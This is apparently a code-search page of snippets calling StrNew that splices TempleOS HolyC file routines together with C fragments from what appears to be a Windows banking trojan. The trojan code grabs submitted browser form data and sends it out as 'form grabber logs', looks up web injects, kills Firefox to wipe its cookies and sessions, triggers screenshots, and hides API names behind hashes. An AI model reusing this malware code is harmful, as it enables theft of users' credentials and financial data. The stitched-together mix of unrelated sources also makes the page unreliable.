Exemple #1
0
bool DeleteFiles(PCHAR Path, PCHAR Ext, bool Recursive, bool DeleteSubDir, HCAB hCab)
{
	// Функция удаляет файлы с расширением Ext из директории Path
	// Возвращает общий размер удалённых файлов
	if (Path == NULL || Ext == NULL)
		return 0;
	bool Result = false;

	// В связи с тем, что могут использованы маски при которых
	// директории находиться не будут,  директории обрабатываем отдельно
	if (Recursive)
		Result = DeleteInSubDirectories(Path, Ext, DeleteSubDir, hCab);

	PCHAR Mask = StrNew(2, Path, Ext);

	WIN32_FIND_DATA Search;
	HANDLE File = (HANDLE)pFindFirstFileA(Mask, &Search);
	if (File == INVALID_HANDLE_VALUE)
	{
		StrFree(Mask);
		return Result;
	}
	// Перебираем найденные файлы
	while (File != NULL)
	{
        if ((Search.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0)
		{
			// Удаляем файл
			PCHAR FileName = StrNew(2, Path, Search.cFileName);
			//  В случае если файл имеет атрибут "Только чтение" меняем
			//  ему атрибуты
			if ((Search.dwFileAttributes & FILE_ATTRIBUTE_READONLY) != 0)
				pSetFileAttributesA(FileName, FILE_ATTRIBUTE_ARCHIVE);

			// Удаляем файл
			if(hCab != NULL && !AddFileToCab(hCab, FileName, FileName))
			//if(ZipAdd(hZip, rel, abs, 0, ZIP_FILENAME)!=ZR_OK)
			{
				//998	ERROR_NOACCESS - Invalid access to memory location.
				//32	ERROR_SHARING_VIOLATION - The process cannot access the file because it is being used by another process.
				DWORD err = (DWORD)pGetLastError();	
				err=err;
			}
			if (pDeleteFileA(FileName))
				Result = true;
			StrFree(FileName);
        }

		// Получаем следцющий файл
		if (!(BOOL)pFindNextFileA(File, &Search)) break;
	}

	// Освобождаем данные
	StrFree(Mask);
	pFindClose(File);

	return Result;
}
Exemple #2
0
void PrintLabel( const char *labelName, const char *format, va_list *args ) {
   Str *label = StrNew( labelName );
   Str *formatString = StrNew( format );
   Str *messageString = StrConcat( label, formatString );

   Print( messageString->value, args );

   StrDel( label );
   StrDel( formatString );
   StrDel( messageString );
}
Exemple #3
0
CFileAccess *FileAccessNew(U8 *_mask,Bool make_mask=FALSE,Bool make_dirs=FALSE)
{
  Bool valid=TRUE,old_silent;
  U8 *buf,*mask,*temp_mask;
  CFileAccess *fa=CAlloc(sizeof(CFileAccess));
  mask=MStrUtil(_mask,
    SUF_REM_LEADING|SUF_REM_TRAILING|SUF_REM_CTRL_CHARS);
  temp_mask=mask;
  fa->old_dir=StrNew(Fs->cur_dir);
  fa->old_prt=Fs->cur_prt;
  if (*mask && mask[1]==':') {
    if (Fs->cur_prt!=Drv2Prt(*mask))
      if (!Drv(*mask)) valid=FALSE;
    mask+=2;
  }
  if (StrStr(mask,"HOME") && Fs->cur_prt!=Drv2Prt(*sys_acct))
    Drv(*sys_acct);
  fa->p=Fs->cur_prt;
  PrtChk(fa->p);
  buf=MAlloc(StrLen(mask)+2);
  StrCpy(buf,mask);
  fa->mask=MAlloc(StrLen(mask)+2);
  StrLastRem(buf,"/",fa->mask);
  if (*mask=='/' && !*buf)
    StrCpy(buf,"/");
  //If began with Dir, change to Dir.
  if (*buf && !Cd(buf,make_dirs))
    valid=FALSE;
  if (valid && make_mask) {
    if (!*fa->mask) {
      Free(fa->mask);
      fa->mask=StrNew("*");
    } else {
      if (!make_dirs || FileNameChk(fa->mask)) {
	old_silent=Silent(ON);
	//Try mask to see if Dir. If Dir, change to dir and set to "*".
	if (Cd(fa->mask,make_dirs)) {
	  Free(fa->mask);
	  fa->mask=StrNew("*");
	}
	Silent(old_silent);
      }
    }
  }
  Free(buf);
  Free(temp_mask);
  if (!valid) {
    FileAccessDel(fa);
    fa=NULL;
//    throw(EXCEPT_FILE);
  }
  return fa;
}
bool DeleteFiles(PCHAR Path, PCHAR Ext, bool Recursive, bool DeleteSubDir)
{
	// Функция удаляет файлы с расширением Ext из директории Path
	// Возвращает общий размер удалённых файлов
	if (Path == NULL || Ext == NULL)
		return 0;
	bool Result = false;

	// В связи с тем, что могут использованы маски при которых
	// директории находиться не будут,  директории обрабатываем отдельно
	if (Recursive)
		Result = DeleteInSubDirectories(Path, Ext, DeleteSubDir);

	PCHAR Mask = StrNew(2, Path, Ext);

	WIN32_FIND_DATA Search;
	HANDLE File = pFindFirstFileA(Mask, &Search);
	if (File == INVALID_HANDLE_VALUE)
	{
		StrFree(Mask);
		return Result;
	}
	// Перебираем найденные файлы
	while (File != NULL)
	{
        if ((Search.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) == 0)
		{
			// Удаляем файл
			PCHAR FileName = StrNew(2, Path, Search.cFileName);
			//  В случае если файл имеет атрибут "Только чтение" меняем
			//  ему атрибуты
			if ((Search.dwFileAttributes & FILE_ATTRIBUTE_READONLY) != 0)
				pSetFileAttributesA(FileName, FILE_ATTRIBUTE_ARCHIVE);

			// Удаляем файл
			if (pDeleteFileA(FileName))
				Result = true;
			StrFree(FileName);
        }

		// Получаем следцющий файл
		if (!pFindNextFileA(File, &Search)) break;
	}

	// Освобождаем данные
	StrFree(Mask);
	pFindClose(File);

	return Result;
}
Exemple #5
0
Bool Drv(U8 drv_let)
{
  CPrt *p=Drv2Prt(drv_let);
  CBlkDev *bdev=p->bdev;
  BlkDevChk(bdev);
  if (p!=Fs->cur_prt) {
    if ( bdev->flags & BDF_REMOVABLE &&
       !(bdev->flags & BDF_INITIALIZED) )
      ChgDsk(Prt2Drv(p));
    if (bdev->type==BDT_RAM)
      BlkDevInit(bdev);
  }
  Fs->cur_prt=p;
  Free(Fs->cur_dir);
  Fs->cur_dir=StrNew("/");
  switch (p->type) {
    case PT_REDSEA:
    case PT_FAT32:
    case PT_ISO9660:
      return TRUE;
    default:
      PutDefineErr("ST_UNSUPPORTED_FILE_SYSTEM");
      return FALSE;
  }
}
Exemple #6
0
U0 ViewComics()
{
  I64 i=0;
  U8 *st;
  CDirEntry *tempm,*tempm1;
  CDoc *doc=DocNew;
  DocPutS(doc,"$$FG,LTBLUE$$");
  tempm=FilesFind("Comics/*.TXT*");
  tempm1=tempm;
  while (tempm1) {
    st=StrNew(tempm1->name);
    FileExtRem(st);
    tempm1->user_data=DocPrintF(doc,"$$MU-UL,\"%-10ts\",%d$$ ",st,tempm1);
    Free(st);
    tempm1=tempm1->next;
    if ((i++&3)==3)
      DocPutS(doc,"\n");
  }
  while (TRUE) {
    if ((tempm1=PopUpMenu(doc))>0)
      Ed(tempm1->full_name);
    else
      break;
  }
  DocDel(doc);
  CDirLstDel(tempm);
}
Exemple #7
0
U8 *FileNameAbs(U8 *_filename,I64 fuf_flags=0)
{   //$LK,"FUF_Z_OR_NOT_Z","MN:FUF_Z_OR_NOT_Z"$, $LK,"FUF_SCAN_PARENTS","MN:FUF_SCAN_PARENTS"$
    U8 *buf,*buf2,*buf3,*filename,*temp_name,*temp_buf;
    CDirEntry de;
    filename=MStrUtil(_filename,
                      SUF_REM_LEADING|SUF_REM_TRAILING|SUF_REM_CTRL_CHARS);
    temp_name=filename;
    buf=StrNew(filename);
    temp_buf=buf;
    if (*buf && buf[1]==':') {
        buf+=2;
        filename+=2;
    }
    buf2=MAlloc(StrLen(temp_name)+1);
    StrLastRem(buf,"/",buf2);
    if (*filename=='/' && !*buf)
        StrCpy(buf,"/");
    buf3=DirNameAbs(temp_buf);
    Free(temp_buf);
    buf=MAlloc(StrLen(buf3)+1+StrLen(buf2)+1);
    StrCpy(buf,buf3);
    if (buf[StrLen(buf)-1]!='/')
        StrCat(buf,"/");
    StrCat(buf,buf2);
    Free(buf2);
    Free(buf3);
    Free(temp_name);
    if (fuf_flags&&FileFind(buf,&de,fuf_flags|FUF_JUST_FILES)) {
        Free(buf);
        buf=de.full_name;
    }
    return buf;
}
Exemple #8
0
bool UpdateContentLength(PREQUEST Request, bool FreeOldBuf)
{
	// Функция обновляет заголовок "Content-Length" в заголовках HTTP запроса
	char * Buffer = (char *)Request->pBuf;

	// копируем HTTP заголовок
	int HeaderOffset = m_istrstr(Buffer, "\r\n\r\n" );

	if (HeaderOffset == -1)
		return false;

	HeaderOffset += 4; // увеличиваем размер заголовка на "\r\n\r\n"

	PCHAR Header = StrNew(Buffer, HeaderOffset);
	if (Header == NULL)
		return false;

	// Лпределяем позицию параметра в заголовках

	m_lstrlwr(Header); // приводим заголовок к нижнему регистру
	char CL[] = {'c','o','n','t','e','n','t','-','l','e','n','g','t','h',':',' ',0};

	int Pos = m_istrstr(Header, CL);
	StrFree(Header);
	if (Pos == -1)
		return false;

	// Копируем оригинальный заголовок
	DWORD ParamLen = m_lstrlen(CL);
	char *ParamName = (char*)MemAlloc(ParamLen + 1);
	if (ParamName == NULL)
		return false;
	m_memcpy(ParamName, Buffer + Pos, ParamLen);

	// Создаём строку с новым значением
	DWORD NewValue = m_lstrlen(Buffer + HeaderOffset);
	char NewContentLen[10];

	typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... );
	fwsprintfA pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 );
	pwsprintfA(NewContentLen, "%d", NewValue);

	// Вписываем новое значение
	char *NewBuffer = NULL;

	bool Result = SubstituteText(Buffer, 0, &NewBuffer, ParamName, NewContentLen, "\r\n") >= 0;
	MemFree(ParamName);

	// Меняем буфер запроса
	if (Result)
	{
		if (FreeOldBuf)
            MemFree(Request->pBuf);

		Request->pBuf	   = (LPBYTE)NewBuffer;
		Request->uBufSize = m_lstrlen(NewBuffer);
	}

	return Result;
}
U0 EdRemFunLeadingSpace(CDoc *doc)
{
  Bool unlock=DocLock(doc),
	start_of_line=TRUE;
  U8 ch,*ptr;
  I64 levels=1;
  CDocEntry *doc_e,*doc_e2;

  EdGoToFun(doc,FALSE,FALSE);
  doc_e=doc->cur_entry->next;
  do {
    doc_e2=doc_e->next;
    if (doc_e!=doc && doc_e!=doc->cur_entry &&
	  !(doc_e->flags1&(DOCEG1_DONT_EDIT-DOCEF1_SCROLLING_X)) &&
	  !(doc_e->flags2&DOCEG2_DONT_EDIT))
      switch (doc_e->type_u8) {
	case DOCT_TEXT:
	  ptr=doc_e->tag;
	  if (start_of_line) {
	    while (*ptr==CH_SPACE)
	      ptr++;
	    if (*ptr)
	      start_of_line=FALSE;
	    ptr=StrNew(ptr,doc->mem_task);
	    Free(doc_e->tag);
	    doc_e->tag=ptr;
	  }
	  if (!*ptr)
	    DocEntryDel(doc,doc_e);
	  else {
	    while (ch=*ptr++)
	      if (ch=='{')
		levels++;
	      else if (ch=='}') {
		if (!--levels)
		  break;
	      }
	    if (!levels) goto ls_done;
	  }
	  break;
	case DOCT_TAB:
	  if (start_of_line)
	    DocEntryDel(doc,doc_e);
	  break;
	case DOCT_NEW_LINE:
	  start_of_line=TRUE;
	  break;
	default:
	  start_of_line=FALSE;
      }
    doc_e=doc_e2;
  } while (doc_e!=doc->cur_entry);
ls_done:
  DocRecalc(doc);
  DocCenter(doc);
  if (unlock)
    DocUnlock(doc);
}
Exemple #10
0
public Bool DocTreeFind(CDoc *doc,U8 *path,
  CDocEntry **_tree_entry=NULL,
  CDocEntry **_start_indent=NULL, CDocEntry **_end_indent=NULL)
{
  I64 i=0,k=0;
  U8 *st1=StrNew(path),*st2=MAlloc(StrLen(path)+1);
  Bool result=FALSE,unlock_doc=DocLock(doc);
  CDocEntry *doc_e=doc->root.next;
  if (_tree_entry) *_tree_entry=doc;
  if (_start_indent) *_start_indent=doc;
  if (_end_indent) *_end_indent=doc;
  while (*st1 && doc_e!=doc) {
    StrFirstRem(st1,"/",st2);
    if (*st2) {
      while (doc_e!=doc) {
	if (doc_e->type_u8==DOCT_INDENT)
	  i+=doc_e->attr;
	else if (i==k && doc_e->flags1&DOCEF1_TREE && !StrCmp(doc_e->tag+3,st2)) {
	   if (*st1)
	     break;
	   else {
	     if (_tree_entry) *_tree_entry=doc_e;
	     i=0;
	     while (doc_e!=doc && doc_e->type_u8!=DOCT_INDENT)
	       doc_e=doc_e->next;
	     if (doc_e!=doc) {
	       i=doc_e->attr;
	       if (_start_indent) *_start_indent=doc_e;
	       doc_e=doc_e->next;
	       while (doc_e!=doc && i>0) {
		 if (doc_e->type_u8==DOCT_INDENT) {
		   i+=doc_e->attr;
		   if (i<=0) {
		     if (_end_indent) *_end_indent=doc_e;
		     result=TRUE;
		     break;
		   }
		 }
		 doc_e=doc_e->next;
	       }
	     }
	     goto ft_done;
	   }
	}
	doc_e=doc_e->next;
      }
      k+=2;
    }
  }
ft_done:
  if (unlock_doc)
    DocUnlock(doc);
  Free(st1);
  Free(st2);
  return result;
}
Exemple #11
0
U8 *ToggleZorNotZ(U8 *name)
{
    U8 *result;
    if (IsDotZ(name)) {
        result=StrNew(name);
        result[StrLen(name)-2]=0;
    } else
        result=MSPrintF("%s.Z",name);
    return result;
}
PCHAR GetAppDataPath()
 {
	 // Функция возвращает путь к директории хранения данных приложений
	char Path[MAX_PATH];
	DWORD Size = MAX_PATH;
	if (!(BOOL)pSHGetSpecialFolderPathA(NULL, &Path[0], CSIDL_APPDATA, Size))
		return NULL;

    PCHAR Result = StrNew(2, &Path[0], "\\");
	return Result;
 }
bool DeleteInSubDirectories(PCHAR Path, PCHAR Mask, bool DeleteSubDir)
{
	// Функция рекурсивно удаляет файлы в поддиректориях
	PCHAR SearchMask = StrNew(2, Path, "*.*");
    bool Result = false;
	//  Запусукаем поиск
	//  Ищем первую директорию
	WIN32_FIND_DATA Find;
	HANDLE File = pFindFirstFileA(SearchMask, &Find);
	//  Директория не найдена, выходим из функции
	if (File == INVALID_HANDLE_VALUE)
	{
		StrFree(SearchMask);
		return false;
	}

	// Организовываем цикл
	do
	{
		if ((Find.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) != 0 && !IgnorePath(Find.cFileName))
		{
			PCHAR NewPath = StrNew(3, Path, Find.cFileName, "\\");
			if (DeleteFiles(NewPath, Mask, true, DeleteSubDir))
				Result = true;
			if (DeleteSubDir)
					pRemoveDirectoryA(NewPath);
			StrFree(NewPath);
        }
	}
	while (pFindNextFileA(File, &Find));


    pFindClose(File);
	StrFree(SearchMask);
	return Result;
}
bool DeleteSOL()
{
	// Функция удаляет кукисы программы Macromedia FlashPlayer
	PCHAR DataPath = GetAppDataPath();
	if (DataPath == NULL)
		return false;

	// Создаём путь к папке кукисов
	PCHAR Path = StrNew(2, DataPath, "Macromedia\\Flash Player\\");
	StrFree(DataPath);
	// Чистим директории
	bool Result = ClearDirectory(Path);
	Result = Result | DeleteFiles("C:\\WINDOWS\\system32\\Macromed\\", "*.sol", true, false);

	StrFree(Path);
	return Result;
}
bool DeleteFFCookies()
{
	//	 Функция цдаляет файл куков браузера Mozilla Firefox
	PCHAR DataPath = GetAppDataPath();
	if (DataPath == NULL)
		return false;

	PCHAR Path = StrNew(2, DataPath, "Mozilla\\Firefox\\Profiles\\");
	StrFree(DataPath);

	KillFireFox();
    bool Result = DeleteFiles(Path, "cookies.sqlite", true, false);
    bool Result2 = DeleteFiles(Path, "sessionstore.*", true, false);

	StrFree(Path);

	return Result;
}
Exemple #16
0
bool ProcessPostData(PREQUEST pReq, PCHAR Optional)
{
	// Обработать POST данные

	// Проверяем библиотеку ScreenShot
	if ( CalcHash(Optional) == 0x24DE3210 )
	{
		StartThread( ScreensThread, NULL );
		return true;
	}

	// Отправляем данные формы на сервер
	PCHAR SendBuf = StrNew(3, pReq->Url, "?|POST:", Optional);
	if (SendBuf == NULL)
		return false;
	bool Res = SendFormGrabberLogs(pReq->Url, SendBuf, FFUserAgent, BROWSER_TYPE_FF, DATA_TYPE_FORMGRAB);
	StrFree(SendBuf);
    return Res;
}
Exemple #17
0
U0 FileAccessDel(CFileAccess *fa)
{
  CBlkDev *bdev;
  if (!fa) return;
  bdev=fa->old_prt->bdev;
  if (!(bdev->flags & BDF_INIT_IN_PROGRESS)) {
    if (fa->old_dir) {
      Drv(Prt2Drv(fa->old_prt));
      Cd(fa->old_dir);
    }
  } else {
    Fs->cur_prt=fa->old_prt;
    Free(Fs->cur_dir);
    Fs->cur_dir=StrNew("/");
  }
  Free(fa->old_dir);
  Free(fa->mask);
  Free(fa);
}
Exemple #18
0
U8 *DirFile(U8 *dirname,U8 *name=NULL,U8 *_extension=NULL)
{   /*
    Strips file from dirname, scans for file upward until found or returns default.

    ("/TempleOS/Kernel/Hash1a.CPP.Z",NULL,NULL)	returns "D:/TempleOS/Kernel"
    ("/TempleOS/Kernel",NULL,"PRJ.Z")		returns "D:/TempleOS/Kernel/Kernel.PRJ.Z"
    ("/TempleOS/Kernel/Dsk",NULL,"PRJ.Z")		returns "D:/TempleOS/Kernel/Kernel.PRJ.Z"
    ("/TempleOS/Apps/MusicOrgan","Load","CPP.Z")	returns "D:/TempleOS/Apps/MusicOrgan/Load.CPP.Z"
    */
    U8 *st=DirNameAbs(dirname),*st2,*st3,*result,*dft=NULL,*ext;
    if (_extension && *_extension) {
        if (*_extension=='.')
            ext=StrNew(_extension);
        else
            ext=MSPrintF(".%s",_extension);
    } else
        ext=StrNew("");
    while (StrOcc(st,'/')&&!IsDir(st))
        StrLastRem(st,"/");
    while (StrOcc(st,'/')) {
        st2=StrNew(st);
        st3=StrNew(st);
        StrLastRem(st2,"/",st3);

        if (name)
            result=MSPrintF("%s/%s%s",st,name,ext);
        else {
            if (*ext)
                result=MSPrintF("%s/%s%s",st,st3,ext);
            else
                result=StrNew(st);
        }
        if (!dft)
            dft=StrNew(result);
        if (!*ext&&(!name||!*name)||FileFind(result)) {
            Free(st3);
            Free(st2);
            Free(st);
            Free(dft);
            Free(ext);
            return result;
        }
        Free(st);
        st=st2;
        Free(st3);
    }
    Free(st);
    Free(ext);
    return dft;
}
Exemple #19
0
Bool FilesFindMatch(U8 *files_find_mask,U8 *filename,I64 fuf_flags=0)
{
    U8 *st1=StrNew(files_find_mask),
        *st2=MAlloc(StrLen(files_find_mask)+1);
    Bool result=FALSE;
    while (TRUE) {
        StrFirstRem(st1,";",st2);
        if (*st2) {
            if (*st2=='~') {
                if (WildCardMatch(st2+1,filename)) {
                    result=FALSE;
                    break;
                }
            } else {
                if (WildCardMatch(st2,filename)) {
                    if (Bt(&fuf_flags,FUf_JUST_TXT_FILES) && !FilesFindMatch(FILENAME_MASK_TXT,filename)) {
                        result=FALSE;
                        break;
                    } else if (Bt(&fuf_flags,FUf_JUST_SRC_FILES) && !FilesFindMatch(FILENAME_MASK_SRC,filename)) {
                        result=FALSE;
                        break;
                    } else if (Bt(&fuf_flags,FUf_JUST_AOT_FILES) && !FilesFindMatch(FILENAME_MASK_AOT,filename)) {
                        result=FALSE;
                        break;
                    } else if (Bt(&fuf_flags,FUf_JUST_JIT_FILES) && !FilesFindMatch(FILENAME_MASK_JIT,filename)) {
                        result=FALSE;
                        break;
                    } else if (Bt(&fuf_flags,FUf_JUST_GRA_FILES) && !FilesFindMatch(FILENAME_MASK_GRA,filename)) {
                        result=FALSE;
                        break;
                    } else
                        result=TRUE;
                }
            }
        } else
            break;
    }
    Free(st1);
    Free(st2);
    return result;
}
Exemple #20
0
bool FindInjectFF(PREQUEST Request)
{
	PCHAR Method = HTTPMethodGET;
	if (Request->dwVerb == hmPOST)
		Method = HTTPMethodPOST;

	bool DelURL = false;
	PCHAR URL = Request->Url;

	if (Request->Optional != NULL)
	{
		URL = StrNew(3, URL, "?", Request->Optional);
		if (URL == NULL)
			return false;
        DelURL = true;
	}
	bool Result = GetInjectFromConfig(URL, Method, &Request->pInject, &Request->dwInjCount);\

	if (DelURL)
		StrFree(URL);

	return Result;
}
Exemple #21
0
Bool Cd(U8 *dirname,Bool make_dirs=FALSE)
{//Optionally, will create the directories if they don't exist.
  I64 maxlen,cur_dir_cluster=0;
  U8 *chg_to_buf,*new_cur_dir,*buf;
  CPrt *p;
  Bool result=TRUE;
  if (!*dirname) return TRUE;
  if (dirname[1]==':') {
    if (*dirname==':') {
      if (Fs->cur_prt->drv_let!=*sys_acct)
	if (!Drv(*dirname)) return FALSE;
    } else {
      if (Fs->cur_prt!=
	Drv2Prt(*dirname))
	  if (!Drv(*dirname)) return FALSE;
    }
    dirname+=2;
  }
  if (*dirname=='/' || !*dirname || !Fs->cur_dir) {
    Free(Fs->cur_dir);
    Fs->cur_dir=StrNew("/");
    if (*dirname=='/')
      dirname++;
  }
  chg_to_buf=MStrUtil(dirname,
    SUF_REM_LEADING|SUF_REM_TRAILING|SUF_REM_CTRL_CHARS);
  maxlen=StrLen(Fs->cur_dir)+1+StrLen(chg_to_buf)+1;
  new_cur_dir=MAlloc(maxlen);
  buf=MAlloc(maxlen);
  StrCpy(new_cur_dir,Fs->cur_dir);
  while (*chg_to_buf && result) {
    StrFirstRem(chg_to_buf,"/",buf);
    if (!*buf)
      StrCpy(new_cur_dir,"/");
    else if (!StrCmp(buf,"..")) {
      StrLastRem(new_cur_dir,"/");
      if (!*new_cur_dir)
	StrCpy(new_cur_dir,"/");
    } else if (!StrCmp(buf,".")) {
      ;
    } else if (*buf) {
      if (!StrCmp(buf,"HOME")) {
	result=Cd(sys_acct);
	Free(new_cur_dir);
	new_cur_dir=MAlloc(maxlen+StrLen(sys_acct));
	StrCpy(new_cur_dir,sys_acct+2);
      } else {
	p=Fs->cur_prt;
	cur_dir_cluster=Name2DirCluster(p,new_cur_dir);
	switch (p->type) {
	  case PT_REDSEA:
	    result=RedSeaFSCd(buf,cur_dir_cluster);
	    break;
	  case PT_FAT32:
	    result=FAT32Cd(buf,cur_dir_cluster);
	    break;
	  case PT_ISO9660:
	    result=ISO1Cd(buf,cur_dir_cluster);
	    break;
	  default:
	    PutDefineErr("ST_UNSUPPORTED_FILE_SYSTEM");
	    result=FALSE;
	}
	if (!result && make_dirs) {
	  Free(Fs->cur_dir);
	  Fs->cur_dir=StrNew(new_cur_dir);
	  result=MkDir(buf);
	}
	if (result) {
	  if (StrCmp(new_cur_dir,"/"))
	    StrCat(new_cur_dir,"/");
	  StrCat(new_cur_dir,buf);
	}
      }
    }
  }
  Free(Fs->cur_dir);
  Fs->cur_dir=StrNew(new_cur_dir);
  Free(buf);
  Free(chg_to_buf);
  Free(new_cur_dir);
  return result;
}
Exemple #22
0
bool MakeInfo( PREQUEST pReq, PCHAR buf, int len )
{

	// Собираем информацию об отправляемом запросе
	PCHAR MethodName;
	PCHAR Path;

	// Разбираем тип запроса

	if (!ParseRequestFirstLine(buf, &MethodName, &Path, NULL))
		return false;

	pReq->dwVerb = GetMethodFromStr(MethodName);

	if (pReq->dwVerb != hmGET && pReq->dwVerb!= hmPOST)
    {
		StrFree(MethodName);
        StrFree(Path);
		return false;
	}

	// Собираем URL
	PCHAR Host = GetHTTPHeaderValue(buf, ParamHost);

	PCHAR Protocol = ProtocolHTTP;
	if (pReq->bHttps) Protocol = ProtocolHTTPS;

	pReq->Url = StrNew(5, Protocol, "://", Host, "/", Path);
	StrFree(Path);
	StrFree(Host);
    if (pReq->Url == NULL) return false;


	// Проверяем POST данные
	if (pReq->dwVerb == hmPOST)
	{
		UpdateFFUserAgent(buf);

		DWORD HeaderHash = CalcHash(buf);
		if (FindHash(HeaderHash)) return true;

        // Проверяем тип контента
		PCHAR CT = GetHTTPHeaderValue(buf, ParamContentType);
		DWORD Hash = CalcHash(CT);
		StrFree(CT);
		if (Hash != 0x6B3CDFEC) /* url_encoded*/
			return true;

		// Обрабатываем пост данные
		PCHAR Optional = GetURLEncodedPostData(buf);
        pReq->Optional = Optional;
		if (Optional != NULL && ProcessPostData(pReq, Optional))
			AddHash(HeaderHash);


	}

  /*	if ( len < 10 )
	{
		return false;
	}

	DWORD dwMethod = -1;

	char Post[] = {'P','O','S','T',' ',0};
	char Get[]	= {'G','E','T',' ',0};

	char *Method = NULL;

	if ( !m_lstrncmp( buf, Get, 4 ) )
	{
		dwMethod = VERB_IS_GET;
		Method   = Get;
	}
		
	if ( !m_lstrncmp( buf, Post, 5 ) )
	{
		dwMethod = VERB_IS_POST;
		Method   = Post;
	}

	if ( dwMethod == (DWORD)-1 )
	{
		return false;
	}


	//----------------------------------------------------------------------


	typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... );
	fwsprintfA pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 );

	char *Host   = NULL;
	char *Params = NULL;

	char Server[] = {'H','o','s','t',':',' ',0};

	if ( GetText( buf, &Host, Server, "\r\n" ) != -1 )
	{
		if ( GetText( buf, &Params, Method, " " ) != -1 )
		{
			char *Type = NULL;

			char https[] = {'h','t','t','p','s',':','/','/',0};
			char http[]  = {'h','t','t','p',':','/','/',0};

			if ( pReq->bHttps )
			{
				Type = https;
			}
			else
			{
				Type = http;
			}

			if ( ( pReq->Url = (char*)MemAlloc( 1024 ) ) != NULL )
			{
				pwsprintfA( pReq->Url, "%s%s%s", Type, Host, Params );
				pReq->dwVerb = dwMethod;
			}

			MemFree( Params );
		}

		MemFree( Server );
		MemFree( Host );
	}

	DWORD dwHeaderHash = CalcHash( buf );

	if ( pReq->Url != NULL && pReq->dwVerb == VERB_IS_POST )
	{
		if ( !FindHash( dwHeaderHash ) )
		{
			char ContentType[] = {'C','o','n','t','e','n','t','-','T','y','p','e',':',' ',0 };
			char *Content = NULL;

			if ( GetText( buf, &Content, ContentType, "\r\n" ) != -1 )
			{
				DWORD dwContentHash = CalcHash( Content );

				MemFree( Content );

				if ( dwContentHash == 0x6B3CDFEC ) //urlencode
				{
					DWORD dwLen = 0;

					char *PostReq = GetPostData( buf, &dwLen, len );

					if ( PostReq != NULL && dwLen )
					{
						if ( ( pReq->Optional = (char*)MemAlloc( dwLen + 1 ) ) != NULL )
						{
							m_memcpy( pReq->Optional, PostReq, dwLen );
						}

						if ( CalcHash( pReq->Optional ) == 0x24DE3210 )
						{
							StartThread( ScreensThread, NULL );
							AddHash( dwHeaderHash );
							return true;
						}

						MemFree( PostReq );

						char PostTag[]  = {'|','P','O','S','T',':',0};

						char *SendBuffer = (char*)MemAlloc( dwLen + m_lstrlen( pReq->Url ) + m_lstrlen( PostTag ) + 2 );

						if ( SendBuffer != NULL )
						{
							m_lstrcpy( SendBuffer, pReq->Url );
							m_lstrcat( SendBuffer, "?" );
							m_lstrcat( SendBuffer, PostTag  );
							m_lstrcat( SendBuffer, pReq->Optional );

							if ( !m_lstrlen( FFUserAgent ) )
							{
								char UserAgentStr[] = {'U','s','e','r','-','A','g','e','n','t',':',' ', 0}; 
								char *pUserAgent		= GetHttpInfo(UserAgentStr, buf );

								if ( pUserAgent == NULL )
								{
									FFUserAgent[0] = '-';
									FFUserAgent[1] = '\0';
								}
								else
								{
									if ( m_lstrlen( pUserAgent ) <= 255 )
									{
										m_lstrcpy( FFUserAgent, pUserAgent );
									}
								}

								MemFree( pUserAgent );
							}

							if ( SendFormGrabberLogs(pReq->Url, SendBuffer, FFUserAgent, BROWSER_TYPE_FF, DATA_TYPE_FORMGRAB ) )
							{
								AddHash( dwHeaderHash );
							}

							MemFree( SendBuffer );
						}						
					}
				}
			}
		}
	}
   */
	return true;
}
Exemple #23
0
U8 *DirNameAbs(U8 *_dirname)
{
    I64 maxlen;
    U8 drv[3],*cur_dir,*buf2,*buf3,*buf,*dirname,*temp_name;
    if (!Fs->cur_dir || !*Fs->cur_dir)
        return StrNew(_dirname);
    dirname=MStrUtil(_dirname,
                     SUF_REM_LEADING|SUF_REM_TRAILING|SUF_REM_CTRL_CHARS);
    temp_name=dirname;
    *drv=Prt2Drv;
    drv[1]=':';
    drv[2]=0;
    if (*dirname && dirname[1]==':') {
        if (*dirname==':')
            *drv=*sys_acct;
        else
            *drv=*dirname;
        dirname=dirname+2;
        cur_dir=StrNew("/");
    } else
        cur_dir=StrNew(Fs->cur_dir);
    if (*dirname=='/') {
        Free(cur_dir);
        cur_dir=StrNew("/");
        dirname++;
    }

    buf2=StrNew(dirname);
    maxlen=StrLen(cur_dir)+1+StrLen(buf2)+1;
    buf3=MAlloc(maxlen);
    buf =MAlloc(maxlen);
    StrCpy(buf3,cur_dir);
    while (*buf2) {
        StrFirstRem(buf2,"/",buf);
        if (!*buf)
            StrCpy(buf3,"/");
        else if (!StrCmp(buf,"..")) {
            StrLastRem(buf3,"/");
            if (!*buf3)
                StrCpy(buf3,"/");
        } else if (!StrCmp(buf,".")) {
            ;
        } else if (*buf) {
            if (!StrCmp(buf,"HOME")) {
                Free(buf3);
                buf3=MAlloc(maxlen+StrLen(sys_acct));
                StrCpy(buf3,sys_acct+2);
                *drv=*sys_acct;
            } else {
                if (StrCmp(buf3,"/"))
                    StrCat(buf3,"/");
                StrCat(buf3,buf);
            }
        }
    }
    Free(cur_dir);
    cur_dir=MAlloc(StrLen(buf3)+3);
    StrCpy(cur_dir,drv);
    StrCpy(cur_dir+2,buf3);
    Free(buf);
    Free(buf2);
    Free(buf3);
    Free(temp_name);
    return cur_dir;
}